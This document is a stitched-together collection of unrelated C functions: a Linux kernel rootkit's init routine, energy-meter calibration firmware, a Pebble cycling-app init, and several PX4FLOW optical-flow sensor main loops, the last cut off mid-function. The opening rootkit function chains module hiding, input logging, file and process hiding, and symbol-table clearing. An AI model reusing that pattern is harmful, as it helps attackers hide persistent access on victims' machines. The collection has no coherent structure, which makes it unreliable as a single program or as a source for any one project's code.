//TODO: check if when an init function fails that the parts of the rootkit which were installed are removed. static int __init main_init(void) { int error; printInfo("Installing rootkit. Compiled: %s %s\n", __TIME__, __DATE__); // TODO: print time etc.. error = communication_init(); // probably should ensure process hider init has finished.. before this is called.. if (error) return error; #ifndef DEV_MODE error = moduleHide_start(); if (error) return error; error = logInput_init(); if (error) return error; #endif error = fileHide_start(); if (error) return error; error = processHider_init(); if (error) return error; printInfo("Rootkit installed\n"); __this_module.num_symtab = 0; return 0; }
int main(void) { uint8_t circuit_idx = 0; board_init(); sysclk_init(); communication_init(); time_init(); wdt_set_timeout_period(WDT_TIMEOUT_PERIOD_8KCLK); // 8s. wdt_enable(); while (true) { wdt_reset(); // if measure takes more than 8s to complete we'll have to add // a call to wdt_reset() into measure_I_sample() function. measure(&CIRCUITS[circuit_idx]); circuit_idx = (circuit_idx + 1) % N_CIRCUITS; } }
int main(void) { uint8_t circuit_idx = 0; volatile uint16_t v_mean, i_mean, v_gain_rms2, i_gain_rms2; board_init(); sysclk_init(); communication_init(); time_init(); /* * V_Offset, I_offset, tension y corriente 0 * - esperar sart desde la PC * - Medir y promediar el canal de tension * - Medir y promediar el canal de corriente * - enviar resultados * V_gian, I_gain, se le pone una tension y corriente conocidas * - esperar sart desde la PC * - Medir y promediar el canal de tension * - Medir y promediar el canal de corriente * - enviar resultados */ for(circuit_idx=0; circuit_idx<N_CIRCUITS; circuit_idx++) { getchar_from_pi(); analog_config(&CIRCUITS[circuit_idx]); v_mean = analog_get_V_sample_calibration(); i_mean = analog_get_I_sample_calibration(); send_to_pi_mean_calibration(v_mean, i_mean); getchar_from_pi(); v_gain_rms2 = analog_get_V_rms_sample_calibration(v_mean); i_gain_rms2 = analog_get_I_rms_sample_calibration(i_mean); send_to_pi_gain_calibration(v_gain_rms2, i_gain_rms2); } }
static void init(void) { config_load(); #ifdef ENABLE_LOCALIZE locale_init(); #endif heartrate_init(); s_gpsdata.heartrate = 255; // no data at startup bg_color_data_main = BG_COLOR_DATA_MAIN; #ifdef ENABLE_NAVIGATION_FULL for (uint16_t i = 0; i < NAV_NB_POINTS_STORAGE - 1; i++) { s_gpsdata.nav_xpos[i] = s_gpsdata.nav_ypos[i] = INT16_MAX; } #endif #ifdef ENABLE_DEBUG_FIELDS_SIZE strcpy(s_data.speed, "188.8"); strcpy(s_data.distance, "88.8"); strcpy(s_data.avgspeed, "888.8"); strcpy(s_data.altitude, "888.8"); strcpy(s_data.ascent, "1342"); strcpy(s_data.ascentrate, "548"); strcpy(s_data.slope, "5"); strcpy(s_data.accuracy, "9"); strcpy(s_data.bearing, "270"); strcpy(s_data.elapsedtime, "1:05:28"); strcpy(s_data.maxspeed, "25.3"); strcpy(s_data.heartrate, "128"); strcpy(s_data.cadence, "90"); #endif #ifdef ENABLE_DEMO strcpy(s_data.maxspeed, "26.1"); strcpy(s_data.distance, "2.0"); strcpy(s_data.avgspeed, "14.0"); strcpy(s_data.altitude, "1139"); strcpy(s_data.accuracy, "4"); strcpy(s_data.steps, "7548"); strcpy(s_data.elapsedtime, "1:15:28"); strcpy(s_data.heartrate, "154"); s_gpsdata.heartrate = 154; heartrate_new_data(s_gpsdata.heartrate); s_data.live = 1; s_data.state = STATE_START; s_gpsdata.nav_distance_to_destination100 = 12100; s_gpsdata.nav_next_distance1000 = 1345; s_gpsdata.nav_error1000 = 55; snprintf(s_data.nav_next_distance, sizeof(s_data.nav_next_distance), "%d", s_gpsdata.nav_next_distance1000); #else strcpy(s_data.speed, "0.0"); strcpy(s_data.distance, "-"); strcpy(s_data.avgspeed, "-"); strcpy(s_data.altitude, "-"); strcpy(s_data.ascent, "-"); strcpy(s_data.ascentrate, "-"); strcpy(s_data.slope, "-"); strcpy(s_data.accuracy, "-"); strcpy(s_data.bearing, "-"); strcpy(s_data.elapsedtime, "00:00:00"); strcpy(s_data.maxspeed, "-"); strcpy(s_data.heartrate, "-"); strcpy(s_data.cadence, "-"); strcpy(s_data.nav_next_distance, "-"); strcpy(s_data.nav_distance_to_destination, "-"); strcpy(s_data.nav_ttd, "-"); strcpy(s_data.nav_eta, "-"); #endif //strcpy(s_data.lat, "-"); //strcpy(s_data.lon, "-"); //strcpy(s_data.nbascent, "-"); s_data.phone_battery_level = -1; #ifdef PBL_PLATFORM_CHALK font_roboto_bold_16 = fonts_load_custom_font(resource_get_handle(RESOURCE_ID_FONT_ROBOTO_BOLD_16)); #endif font_roboto_bold_62 = fonts_load_custom_font(resource_get_handle(RESOURCE_ID_FONT_ROBOTO_BOLD_62)); // set default unit of measure change_units(UNITS_IMPERIAL, true); buttons_init(); s_data.window = window_create(); window_set_background_color(s_data.window, BG_COLOR_WINDOW); #ifdef PBL_SDK_2 window_set_fullscreen(s_data.window, true); #endif topbar_layer_init(s_data.window); screen_data_layer_init(s_data.window); //screen_altitude_layer_init(s_data.window); #ifdef ENABLE_FUNCTION_LIVE screen_live_layer_init(s_data.window); #endif screen_map_layer_init(s_data.window); #ifdef PRODUCTION #ifndef ENABLE_DEMO screen_reset_instant_data(); #endif #endif action_bar_init(s_data.window); menu_init(); // Reduce the sniff interval for more responsive messaging at the expense of // increased energy consumption by the Bluetooth module // The sniff interval will be restored by the system after the app has been // unloaded //app_comm_set_sniff_interval(SNIFF_INTERVAL_REDUCED); communication_init(); screen_data_update_config(true); //screen_altitude_update_config(); graph_init(); window_stack_push(s_data.window, true /* Animated */); tick_timer_service_subscribe(MINUTE_UNIT, handle_tick); bluetooth_connection_service_subscribe(bt_callback); send_version(true); }
/** * @brief Main function. */ int main(void) { /* load settings and parameters */ global_data_reset_param_defaults(); global_data_reset(); /* init led */ LEDInit(LED_ACT); LEDInit(LED_COM); LEDInit(LED_ERR); LEDOff(LED_ACT); LEDOff(LED_COM); LEDOff(LED_ERR); /* enable FPU on Cortex-M4F core */ SCB_CPACR |= ((3UL << 10 * 2) | (3UL << 11 * 2)); /* set CP10 Full Access and set CP11 Full Access */ /* init clock */ if (SysTick_Config(SystemCoreClock / 1000)) { /* capture clock error */ LEDOn(LED_ERR); while (1); } /* init usb */ USBD_Init( &USB_OTG_dev, USB_OTG_FS_CORE_ID, &USR_desc, &USBD_CDC_cb, &USR_cb); /* init mavlink */ communication_init(); /* enable image capturing */ enable_image_capture(); /* gyro config */ gyro_config(); /* init and clear fast image buffers */ for (int i = 0; i < global_data.param[PARAM_IMAGE_WIDTH] * global_data.param[PARAM_IMAGE_HEIGHT]; i++) { image_buffer_8bit_1[i] = 0; image_buffer_8bit_2[i] = 0; } uint8_t * current_image = image_buffer_8bit_1; uint8_t * previous_image = image_buffer_8bit_2; /* usart config*/ usart_init(); /* i2c config*/ i2c_init(); /* sonar config*/ float sonar_distance_filtered = 0.0f; // distance in meter float sonar_distance_raw = 0.0f; // distance in meter bool distance_valid = false; sonar_config(); /* reset/start timers */ timer[TIMER_SONAR] = SONAR_TIMER_COUNT; timer[TIMER_SYSTEM_STATE] = SYSTEM_STATE_COUNT; timer[TIMER_RECEIVE] = SYSTEM_STATE_COUNT / 2; timer[TIMER_PARAMS] = PARAMS_COUNT; timer[TIMER_IMAGE] = global_data.param[PARAM_VIDEO_RATE]; /* variables */ uint32_t counter = 0; uint8_t qual = 0; /* bottom flow variables */ float pixel_flow_x = 0.0f; float pixel_flow_y = 0.0f; float pixel_flow_x_sum = 0.0f; float pixel_flow_y_sum = 0.0f; float velocity_x_sum = 0.0f; float velocity_y_sum = 0.0f; float velocity_x_lp = 0.0f; float velocity_y_lp = 0.0f; int valid_frame_count = 0; int pixel_flow_count = 0; /* main loop */ while (1) { /* reset flow buffers if needed */ if(buffer_reset_needed) { buffer_reset_needed = 0; for (int i = 0; i < global_data.param[PARAM_IMAGE_WIDTH] * global_data.param[PARAM_IMAGE_HEIGHT]; i++) { image_buffer_8bit_1[i] = 0; image_buffer_8bit_2[i] = 0; } delay(500); continue; } /* calibration routine */ if(global_data.param[PARAM_CALIBRATION_ON]) { while(global_data.param[PARAM_CALIBRATION_ON]) { dcmi_restart_calibration_routine(); /* waiting for first quarter of image */ while(get_frame_counter() < 2){} dma_copy_image_buffers(¤t_image, &previous_image, FULL_IMAGE_SIZE, 1); /* waiting for second quarter of image */ while(get_frame_counter() < 3){} dma_copy_image_buffers(¤t_image, &previous_image, FULL_IMAGE_SIZE, 1); /* waiting for all image parts */ while(get_frame_counter() < 4){} send_calibration_image(&previous_image, ¤t_image); if (global_data.param[PARAM_SYSTEM_SEND_STATE]) communication_system_state_send(); communication_receive_usb(); debug_message_send_one(); communication_parameter_send(); LEDToggle(LED_COM); } dcmi_restart_calibration_routine(); LEDOff(LED_COM); } uint16_t image_size = global_data.param[PARAM_IMAGE_WIDTH] * global_data.param[PARAM_IMAGE_HEIGHT]; /* new gyroscope data */ float x_rate_sensor, y_rate_sensor, z_rate_sensor; gyro_read(&x_rate_sensor, &y_rate_sensor, &z_rate_sensor); /* gyroscope coordinate transformation */ float x_rate = y_rate_sensor; // change x and y rates float y_rate = - x_rate_sensor; float z_rate = z_rate_sensor; // z is correct /* calculate focal_length in pixel */ const float focal_length_px = (global_data.param[PARAM_FOCAL_LENGTH_MM]) / (4.0f * 6.0f) * 1000.0f; //original focal lenght: 12mm pixelsize: 6um, binning 4 enabled /* debug */ float x_rate_pixel = x_rate * (get_time_between_images() / 1000.0f) * focal_length_px; float y_rate_pixel = y_rate * (get_time_between_images() / 1000.0f) * focal_length_px; //FIXME for the old sensor PX4FLOW v1.2 uncomment this!!!! // x_rate = x_rate_raw_sensor; // change x and y rates // y_rate = y_rate_raw_sensor; /* get sonar data */ sonar_read(&sonar_distance_filtered, &sonar_distance_raw); /* compute optical flow */ if(global_data.param[PARAM_SENSOR_POSITION] == BOTTOM) { /* copy recent image to faster ram */ dma_copy_image_buffers(¤t_image, &previous_image, image_size, 1); /* compute optical flow */ qual = compute_flow(previous_image, current_image, x_rate, y_rate, z_rate, &pixel_flow_x, &pixel_flow_y); if (sonar_distance_filtered > 5.0f || sonar_distance_filtered == 0.0f) { /* distances above 5m are considered invalid */ sonar_distance_filtered = 0.0f; distance_valid = false; } else { distance_valid = true; } /* * real point P (X,Y,Z), image plane projection p (x,y,z), focal-length f, distance-to-scene Z * x / f = X / Z * y / f = Y / Z */ float flow_compx = pixel_flow_x / focal_length_px / (get_time_between_images() / 1000.0f); float flow_compy = pixel_flow_y / focal_length_px / (get_time_between_images() / 1000.0f); /* integrate velocity and output values only if distance is valid */ if (distance_valid) { /* calc velocity (negative of flow values scaled with distance) */ float new_velocity_x = - flow_compx * sonar_distance_filtered; float new_velocity_y = - flow_compy * sonar_distance_filtered; if (qual > 0) { velocity_x_sum += new_velocity_x; velocity_y_sum += new_velocity_y; valid_frame_count++; /* lowpass velocity output */ velocity_x_lp = global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW] * new_velocity_x + (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_x_lp; velocity_y_lp = global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW] * new_velocity_y + (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_y_lp; } else { /* taking flow as zero */ velocity_x_lp = (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_x_lp; velocity_y_lp = (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_y_lp; } } else { /* taking flow as zero */ velocity_x_lp = (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_x_lp; velocity_y_lp = (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_y_lp; } pixel_flow_x_sum += pixel_flow_x; pixel_flow_y_sum += pixel_flow_y; pixel_flow_count++; } counter++; /* TODO for debugging */ //mavlink_msg_named_value_float_send(MAVLINK_COMM_2, boot_time_ms, "blabla", blabla); if(global_data.param[PARAM_SENSOR_POSITION] == BOTTOM) { /* send bottom flow if activated */ if (counter % 2 == 0) { float flow_comp_m_x = 0.0f; float flow_comp_m_y = 0.0f; float ground_distance = 0.0f; if(global_data.param[PARAM_BOTTOM_FLOW_LP_FILTERED]) { flow_comp_m_x = velocity_x_lp; flow_comp_m_y = velocity_y_lp; } else { flow_comp_m_x = velocity_x_sum/valid_frame_count; flow_comp_m_y = velocity_y_sum/valid_frame_count; } if(global_data.param[PARAM_SONAR_FILTERED]) ground_distance = sonar_distance_filtered; else ground_distance = sonar_distance_raw; if (valid_frame_count > 0) { // send flow mavlink_msg_optical_flow_send(MAVLINK_COMM_0, get_boot_time_ms() * 1000, global_data.param[PARAM_SENSOR_ID], pixel_flow_x_sum * 10.0f, pixel_flow_y_sum * 10.0f, flow_comp_m_x, flow_comp_m_y, qual, ground_distance); if (global_data.param[PARAM_USB_SEND_FLOW]) mavlink_msg_optical_flow_send(MAVLINK_COMM_2, get_boot_time_ms() * 1000, global_data.param[PARAM_SENSOR_ID], pixel_flow_x_sum * 10.0f, pixel_flow_y_sum * 10.0f, flow_comp_m_x, flow_comp_m_y, qual, ground_distance); update_TX_buffer(pixel_flow_x_sum * 10.0f, pixel_flow_y_sum * 10.0f, flow_comp_m_x, flow_comp_m_y, qual, ground_distance, x_rate, y_rate, z_rate); } else { // send distance mavlink_msg_optical_flow_send(MAVLINK_COMM_0, get_boot_time_ms() * 1000, global_data.param[PARAM_SENSOR_ID], pixel_flow_x_sum * 10.0f, pixel_flow_y_sum * 10.0f, 0.0f, 0.0f, 0, ground_distance); if (global_data.param[PARAM_USB_SEND_FLOW]) mavlink_msg_optical_flow_send(MAVLINK_COMM_2, get_boot_time_ms() * 1000, global_data.param[PARAM_SENSOR_ID], pixel_flow_x_sum * 10.0f, pixel_flow_y_sum * 10.0f, 0.0f, 0.0f, 0, ground_distance); update_TX_buffer(pixel_flow_x_sum * 10.0f, pixel_flow_y_sum * 10.0f, 0.0f, 0.0f, 0, ground_distance, x_rate, y_rate, z_rate); } if(global_data.param[PARAM_USB_SEND_GYRO]) { mavlink_msg_debug_vect_send(MAVLINK_COMM_2, "GYRO", get_boot_time_ms() * 1000, x_rate, y_rate, z_rate); } velocity_x_sum = 0.0f; velocity_y_sum = 0.0f; pixel_flow_x_sum = 0.0f; pixel_flow_y_sum = 0.0f; valid_frame_count = 0; pixel_flow_count = 0; } } /* forward flow from other sensors */ if (counter % 2) { communication_receive_forward(); } /* send system state, receive commands */ if (send_system_state_now) { /* every second */ if (global_data.param[PARAM_SYSTEM_SEND_STATE]) { communication_system_state_send(); } send_system_state_now = false; } /* receive commands */ if (receive_now) { /* test every second */ communication_receive(); communication_receive_usb(); receive_now = false; } /* sending debug msgs and requested parameters */ if (send_params_now) { debug_message_send_one(); communication_parameter_send(); send_params_now = false; } /* transmit raw 8-bit image */ if (global_data.param[PARAM_USB_SEND_VIDEO] && send_image_now) { /* get size of image to send */ uint16_t image_size_send; uint16_t image_width_send; uint16_t image_height_send; image_size_send = image_size; image_width_send = global_data.param[PARAM_IMAGE_WIDTH]; image_height_send = global_data.param[PARAM_IMAGE_HEIGHT]; if (global_data.param[PARAM_VIDEO_USB_MODE] == CAM_VIDEO) { mavlink_msg_data_transmission_handshake_send( MAVLINK_COMM_2, MAVLINK_DATA_STREAM_IMG_RAW8U, image_size_send, image_width_send, image_height_send, image_size_send / 253 + 1, 253, 100); LEDToggle(LED_COM); uint16_t frame; for (frame = 0; frame < image_size_send / 253 + 1; frame++) { mavlink_msg_encapsulated_data_send(MAVLINK_COMM_2, frame, &((uint8_t *) current_image)[frame * 253]); } } else if (global_data.param[PARAM_VIDEO_USB_MODE] == FLOW_VIDEO) { mavlink_msg_data_transmission_handshake_send( MAVLINK_COMM_2, MAVLINK_DATA_STREAM_IMG_RAW8U, image_size_send, image_width_send, image_height_send, image_size_send / 253 + 1, 253, 100); LEDToggle(LED_COM); uint16_t frame; for (frame = 0; frame < image_size / 253 + 1; frame++) { mavlink_msg_encapsulated_data_send(MAVLINK_COMM_2, frame, &((uint8_t *) previous_image)[frame * 253]); } } send_image_now = false; } else if (!global_data.param[PARAM_USB_SEND_VIDEO]) { LEDOff(LED_COM); } } }
/** * @brief Main function. */ int main(void) { __enable_irq(); snapshot_buffer = BuildCameraImageBuffer(snapshot_buffer_mem); /* load settings and parameters */ global_data_reset_param_defaults(); global_data_reset(); /* init led */ LEDInit(LED_ACT); LEDInit(LED_COM); LEDInit(LED_ERR); LEDOff(LED_ACT); LEDOff(LED_COM); LEDOff(LED_ERR); /* enable FPU on Cortex-M4F core */ SCB_CPACR |= ((3UL << 10 * 2) | (3UL << 11 * 2)); /* set CP10 Full Access and set CP11 Full Access */ /* init timers */ timer_init(); /* init usb */ USBD_Init( &USB_OTG_dev, USB_OTG_FS_CORE_ID, &USR_desc, &USBD_CDC_cb, &USR_cb); /* init mavlink */ communication_init(); /* initialize camera: */ img_stream_param.size.x = FLOW_IMAGE_SIZE; img_stream_param.size.y = FLOW_IMAGE_SIZE; img_stream_param.binning = 4; { camera_image_buffer buffers[5] = { BuildCameraImageBuffer(image_buffer_8bit_1), BuildCameraImageBuffer(image_buffer_8bit_2), BuildCameraImageBuffer(image_buffer_8bit_3), BuildCameraImageBuffer(image_buffer_8bit_4), BuildCameraImageBuffer(image_buffer_8bit_5) }; camera_init(&cam_ctx, mt9v034_get_sensor_interface(), dcmi_get_transport_interface(), mt9v034_get_clks_per_row(64, 4) * 1, mt9v034_get_clks_per_row(64, 4) * 64, 2.0, &img_stream_param, buffers, 5); } /* gyro config */ gyro_config(); /* usart config*/ usart_init(); /* i2c config*/ i2c_init(); /* sonar config*/ float sonar_distance_filtered = 0.0f; // distance in meter float sonar_distance_raw = 0.0f; // distance in meter bool distance_valid = false; sonar_config(); /* reset/start timers */ timer_register(sonar_update_fn, SONAR_POLL_MS); timer_register(system_state_send_fn, SYSTEM_STATE_MS); timer_register(system_receive_fn, SYSTEM_STATE_MS / 2); timer_register(send_params_fn, PARAMS_MS); timer_register(send_video_fn, global_data.param[PARAM_VIDEO_RATE]); timer_register(take_snapshot_fn, 500); //timer_register(switch_params_fn, 2000); /* variables */ uint32_t counter = 0; result_accumulator_ctx mavlink_accumulator; result_accumulator_init(&mavlink_accumulator); uint32_t fps_timing_start = get_boot_time_us(); uint16_t fps_counter = 0; uint16_t fps_skipped_counter = 0; uint32_t last_frame_index = 0; /* main loop */ while (1) { /* check timers */ timer_check(); if (snap_capture_done) { snap_capture_done = false; camera_snapshot_acknowledge(&cam_ctx); snap_ready = true; if (snap_capture_success) { /* send the snapshot! */ LEDToggle(LED_COM); mavlink_send_image(&snapshot_buffer); } } /* calculate focal_length in pixel */ const float focal_length_px = (global_data.param[PARAM_FOCAL_LENGTH_MM]) / (4.0f * 0.006f); //original focal lenght: 12mm pixelsize: 6um, binning 4 enabled /* new gyroscope data */ float x_rate_sensor, y_rate_sensor, z_rate_sensor; int16_t gyro_temp; gyro_read(&x_rate_sensor, &y_rate_sensor, &z_rate_sensor,&gyro_temp); /* gyroscope coordinate transformation to flow sensor coordinates */ float x_rate = y_rate_sensor; // change x and y rates float y_rate = - x_rate_sensor; float z_rate = z_rate_sensor; // z is correct /* get sonar data */ distance_valid = sonar_read(&sonar_distance_filtered, &sonar_distance_raw); /* reset to zero for invalid distances */ if (!distance_valid) { sonar_distance_filtered = 0.0f; sonar_distance_raw = 0.0f; } bool use_klt = global_data.param[PARAM_ALGORITHM_CHOICE] != 0; uint32_t start_computations = 0; /* get recent images */ camera_image_buffer *frames[2]; camera_img_stream_get_buffers(&cam_ctx, frames, 2, true); start_computations = get_boot_time_us(); int frame_delta = ((int32_t)frames[0]->frame_number - (int32_t)last_frame_index); last_frame_index = frames[0]->frame_number; fps_skipped_counter += frame_delta - 1; flow_klt_image *klt_images[2] = {NULL, NULL}; { /* make sure that the new images get the correct treatment */ /* this algorithm will still work if both images are new */ int i; bool used_klt_image[2] = {false, false}; for (i = 0; i < 2; ++i) { if (frames[i]->frame_number != frames[i]->meta) { // the image is new. apply pre-processing: /* filter the new image */ if (global_data.param[PARAM_ALGORITHM_IMAGE_FILTER]) { filter_image(frames[i]->buffer, frames[i]->param.p.size.x); } /* update meta data to mark it as an up-to date image: */ frames[i]->meta = frames[i]->frame_number; } else { // the image has the preprocessing already applied. if (use_klt) { int j; /* find the klt image that matches: */ for (j = 0; j < 2; ++j) { if (flow_klt_images[j].meta == frames[i]->frame_number) { used_klt_image[j] = true; klt_images[i] = &flow_klt_images[j]; } } } } } if (use_klt) { /* only for KLT: */ /* preprocess the images if they are not yet preprocessed */ for (i = 0; i < 2; ++i) { if (klt_images[i] == NULL) { // need processing. find unused KLT image: int j; for (j = 0; j < 2; ++j) { if (!used_klt_image[j]) { used_klt_image[j] = true; klt_images[i] = &flow_klt_images[j]; break; } } klt_preprocess_image(frames[i]->buffer, klt_images[i]); } } } } float frame_dt = (frames[0]->timestamp - frames[1]->timestamp) * 0.000001f; /* compute gyro rate in pixels and change to image coordinates */ float x_rate_px = - y_rate * (focal_length_px * frame_dt); float y_rate_px = x_rate * (focal_length_px * frame_dt); float z_rate_fr = - z_rate * frame_dt; /* compute optical flow in pixels */ flow_raw_result flow_rslt[32]; uint16_t flow_rslt_count = 0; if (!use_klt) { flow_rslt_count = compute_flow(frames[1]->buffer, frames[0]->buffer, x_rate_px, y_rate_px, z_rate_fr, flow_rslt, 32); } else { flow_rslt_count = compute_klt(klt_images[1], klt_images[0], x_rate_px, y_rate_px, z_rate_fr, flow_rslt, 32); } /* calculate flow value from the raw results */ float pixel_flow_x; float pixel_flow_y; float outlier_threshold = global_data.param[PARAM_ALGORITHM_OUTLIER_THR_RATIO]; float min_outlier_threshold = 0; if(global_data.param[PARAM_ALGORITHM_CHOICE] == 0) { min_outlier_threshold = global_data.param[PARAM_ALGORITHM_OUTLIER_THR_BLOCK]; }else { min_outlier_threshold = global_data.param[PARAM_ALGORITHM_OUTLIER_THR_KLT]; } uint8_t qual = flow_extract_result(flow_rslt, flow_rslt_count, &pixel_flow_x, &pixel_flow_y, outlier_threshold, min_outlier_threshold); /* create flow image if needed (previous_image is not needed anymore) * -> can be used for debugging purpose */ previous_image = frames[1]; if (global_data.param[PARAM_USB_SEND_VIDEO]) { uint16_t frame_size = global_data.param[PARAM_IMAGE_WIDTH]; uint8_t *prev_img = previous_image->buffer; for (int i = 0; i < flow_rslt_count; i++) { if (flow_rslt[i].quality > 0) { prev_img[flow_rslt[i].at_y * frame_size + flow_rslt[i].at_x] = 255; int ofs = (int)floor(flow_rslt[i].at_y + flow_rslt[i].y * 2 + 0.5f) * frame_size + (int)floor(flow_rslt[i].at_x + flow_rslt[i].x * 2 + 0.5f); if (ofs >= 0 && ofs < frame_size * frame_size) { prev_img[ofs] = 200; } } } } /* return the image buffers */ camera_img_stream_return_buffers(&cam_ctx, frames, 2); /* decide which distance to use */ float ground_distance = 0.0f; if(global_data.param[PARAM_SONAR_FILTERED]) { ground_distance = sonar_distance_filtered; } else { ground_distance = sonar_distance_raw; } /* update I2C transmit buffer */ update_TX_buffer(frame_dt, x_rate, y_rate, z_rate, gyro_temp, qual, pixel_flow_x, pixel_flow_y, 1.0f / focal_length_px, distance_valid, ground_distance, get_time_delta_us(get_sonar_measure_time())); /* accumulate the results */ result_accumulator_feed(&mavlink_accumulator, frame_dt, x_rate, y_rate, z_rate, gyro_temp, qual, pixel_flow_x, pixel_flow_y, 1.0f / focal_length_px, distance_valid, ground_distance, get_time_delta_us(get_sonar_measure_time())); uint32_t computaiton_time_us = get_time_delta_us(start_computations); counter++; fps_counter++; /* serial mavlink + usb mavlink output throttled */ if (counter % (uint32_t)global_data.param[PARAM_FLOW_SERIAL_THROTTLE_FACTOR] == 0)//throttling factor { float fps = 0; float fps_skip = 0; if (fps_counter + fps_skipped_counter > 100) { uint32_t dt = get_time_delta_us(fps_timing_start); fps_timing_start += dt; fps = (float)fps_counter / ((float)dt * 1e-6f); fps_skip = (float)fps_skipped_counter / ((float)dt * 1e-6f); fps_counter = 0; fps_skipped_counter = 0; mavlink_msg_debug_vect_send(MAVLINK_COMM_2, "TIMING", get_boot_time_us(), computaiton_time_us, fps, fps_skip); } mavlink_msg_debug_vect_send(MAVLINK_COMM_2, "EXPOSURE", get_boot_time_us(), frames[0]->param.exposure, frames[0]->param.analog_gain, cam_ctx.last_brightness); /* calculate the output values */ result_accumulator_output_flow output_flow; result_accumulator_output_flow_rad output_flow_rad; int min_valid_ratio = global_data.param[PARAM_ALGORITHM_MIN_VALID_RATIO]; result_accumulator_calculate_output_flow(&mavlink_accumulator, min_valid_ratio, &output_flow); result_accumulator_calculate_output_flow_rad(&mavlink_accumulator, min_valid_ratio, &output_flow_rad); // send flow mavlink_msg_optical_flow_send(MAVLINK_COMM_0, get_boot_time_us(), global_data.param[PARAM_SENSOR_ID], output_flow.flow_x, output_flow.flow_y, output_flow.flow_comp_m_x, output_flow.flow_comp_m_y, output_flow.quality, output_flow.ground_distance); mavlink_msg_optical_flow_rad_send(MAVLINK_COMM_0, get_boot_time_us(), global_data.param[PARAM_SENSOR_ID], output_flow_rad.integration_time, output_flow_rad.integrated_x, output_flow_rad.integrated_y, output_flow_rad.integrated_xgyro, output_flow_rad.integrated_ygyro, output_flow_rad.integrated_zgyro, output_flow_rad.temperature, output_flow_rad.quality, output_flow_rad.time_delta_distance_us,output_flow_rad.ground_distance); if (global_data.param[PARAM_USB_SEND_FLOW] && (output_flow.quality > 0 || global_data.param[PARAM_USB_SEND_QUAL_0])) { mavlink_msg_optical_flow_send(MAVLINK_COMM_2, get_boot_time_us(), global_data.param[PARAM_SENSOR_ID], output_flow.flow_x, output_flow.flow_y, output_flow.flow_comp_m_x, output_flow.flow_comp_m_y, output_flow.quality, output_flow.ground_distance); mavlink_msg_optical_flow_rad_send(MAVLINK_COMM_2, get_boot_time_us(), global_data.param[PARAM_SENSOR_ID], output_flow_rad.integration_time, output_flow_rad.integrated_x, output_flow_rad.integrated_y, output_flow_rad.integrated_xgyro, output_flow_rad.integrated_ygyro, output_flow_rad.integrated_zgyro, output_flow_rad.temperature, output_flow_rad.quality, output_flow_rad.time_delta_distance_us,output_flow_rad.ground_distance); } if(global_data.param[PARAM_USB_SEND_GYRO]) { mavlink_msg_debug_vect_send(MAVLINK_COMM_2, "GYRO", get_boot_time_us(), x_rate, y_rate, z_rate); } result_accumulator_reset(&mavlink_accumulator); } /* forward flow from other sensors */ if (counter % 2) { communication_receive_forward(); } } }
/** * @brief Main function. */ int main(void) { /* load settings and parameters */ global_data_reset_param_defaults(); global_data_reset(); /* init led */ LEDInit(LED_ACT); LEDInit(LED_COM); LEDInit(LED_ERR); LEDOff(LED_ACT); LEDOff(LED_COM); LEDOff(LED_ERR); /* enable FPU on Cortex-M4F core */ SCB_CPACR |= ((3UL << 10 * 2) | (3UL << 11 * 2)); /* set CP10 Full Access and set CP11 Full Access */ /* init clock */ if (SysTick_Config(SystemCoreClock / 100000))/*set timer to trigger interrupt every 10 microsecond */ { /* capture clock error */ LEDOn(LED_ERR); while (1); } /* init usb */ USBD_Init( &USB_OTG_dev, USB_OTG_FS_CORE_ID, &USR_desc, &USBD_CDC_cb, &USR_cb); /* init mavlink */ communication_init(); /* enable image capturing */ enable_image_capture(); /* gyro config */ gyro_config(); /* init and clear fast image buffers */ for (int i = 0; i < global_data.param[PARAM_IMAGE_WIDTH] * global_data.param[PARAM_IMAGE_HEIGHT]; i++) { image_buffer_8bit_1[i] = 0; image_buffer_8bit_2[i] = 0; } uint8_t * current_image = image_buffer_8bit_1; uint8_t * previous_image = image_buffer_8bit_2; uint8_t current_image1[64][64]; uint8_t current_image2[64][64]; uint8_t current_image3[64][64]; uint8_t current_image4[64][64]; uint8_t previous_image1[64][64]; uint8_t previous_image2[64][64]; uint8_t previous_image3[64][64]; uint8_t previous_image4[64][64]; for(int i=0;i<64;++i) { for(int j=0;j<64;++j) { current_image1[i][j]=0; previous_image1[i][j]=0; current_image2[i][j]=0; previous_image2[i][j]=0; current_image3[i][j]=0; previous_image3[i][j]=0; current_image4[i][j]=0; previous_image4[i][j]=0; } } uint8_t ourImage[OurSize]; for(int i=0;i<OurSize;++i) { ourImage[i]=0; } /* usart config*/ usart_init(); /* i2c config*/ i2c_init(); /* sonar config*/ float sonar_distance_filtered = 0.0f; // distance in meter float sonar_distance_raw = 0.0f; // distance in meter bool distance_valid = false; sonar_config(); /* reset/start timers */ timer[TIMER_SONAR] = SONAR_TIMER_COUNT; timer[TIMER_SYSTEM_STATE] = SYSTEM_STATE_COUNT; timer[TIMER_RECEIVE] = SYSTEM_STATE_COUNT / 2; timer[TIMER_PARAMS] = PARAMS_COUNT; timer[TIMER_IMAGE] = global_data.param[PARAM_VIDEO_RATE]; /* variables */ uint32_t counter = 0; uint8_t qual = 0; /* bottom flow variables */ float pixel_flow_x = 0.0f; float pixel_flow_y = 0.0f; float pixel_flow_x_sum = 0.0f; float pixel_flow_y_sum = 0.0f; float velocity_x_sum = 0.0f; float velocity_y_sum = 0.0f; float velocity_x_lp = 0.0f; float velocity_y_lp = 0.0f; int valid_frame_count = 0; int pixel_flow_count = 0; float pixel_flow_x_lp = 0.0f; float pixel_flow_y_lp = 0.0f; static float accumulated_flow_x = 0; static float accumulated_flow_y = 0; static float accumulated_gyro_x = 0; static float accumulated_gyro_y = 0; static float accumulated_gyro_z = 0; static uint16_t accumulated_framecount = 0; static uint16_t accumulated_quality = 0; static uint32_t integration_timespan = 0; static uint32_t lasttime = 0; uint32_t time_since_last_sonar_update= 0; static float last_vel_x = 0; static float last_vel_y = 0; float vel_x = 0, vel_y = 0; //Change int count=1; //int gyroCount=1; uint8_t * tmp_image1 = *previous_image; uint8_t * tmp_image2 = *current_image; float x_temprate=0; 